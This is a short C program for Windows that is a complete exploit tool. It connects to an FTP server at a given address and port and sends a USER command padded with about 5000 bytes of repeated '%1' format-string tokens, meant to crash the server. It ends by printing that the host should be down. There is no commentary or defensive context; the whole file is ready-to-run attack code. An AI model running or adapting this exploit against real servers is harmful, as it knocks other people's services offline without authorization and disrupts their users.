#include "winsock2.h"
#include "stdio.h"
#include "stdlib.h"
#pragma comment(lib, "ws2_32.lib")

int main(int argc, char* argv[])
{
struct hostent *he;
struct sockaddr_in sock_addr;
WSADATA wsa;
int ftpsock;
char recvbuff[1024];
char evilbuff[5003];
int buflen=5000;// edx=31253125
int i;

if (argc!=3)
{
printf("[+] Usage: %s <ip> <port>\n",argv[0]);
return 1;
}
WSACleanup();
WSAStartup(MAKEWORD(2,0),&wsa);

printf("[+] Connecting to %s:%s ... ",argv[1],argv[2]);
if ((he=gethostbyname(argv[1])) == NULL) {
printf("Failed\n[-] Could not init gethostbyname\n");
return 1;
}
if ((ftpsock = socket(PF_INET, SOCK_STREAM, 0)) == -1) {
printf("Failed\n[-] Socket error\n");
return 1;
}

sock_addr.sin_family = PF_INET;
sock_addr.sin_port = htons(atoi(argv[2]));
sock_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(sock_addr.sin_zero), '\0', 8);
if (connect(ftpsock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr)) == -1) {
printf("Failed\n[-] Sorry, cannot connect to %s:%s. Error: %i\n", argv[1],argv[2],WSAGetLastError());
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);

printf("[+] Building payload ... ");
for (i=0;i<buflen;i+=2) {
memcpy(evilbuff+i,"%1",2);
}

memcpy(evilbuff,"USER ",5);
memcpy(evilbuff+buflen,"\r\n\0",3);
printf("OK\n[+] Sending USER ... ");
if (send(ftpsock,evilbuff,strlen(evilbuff),0)==-1) {
printf("Failed\n[-] Could not send\n");
return 1;
}
printf("OK\n");
memset(recvbuff,'\0',1024);
recv(ftpsock, recvbuff, 1024, 0);
Sleep(1000);
printf("[+] Host should be down\n");
return 0;
}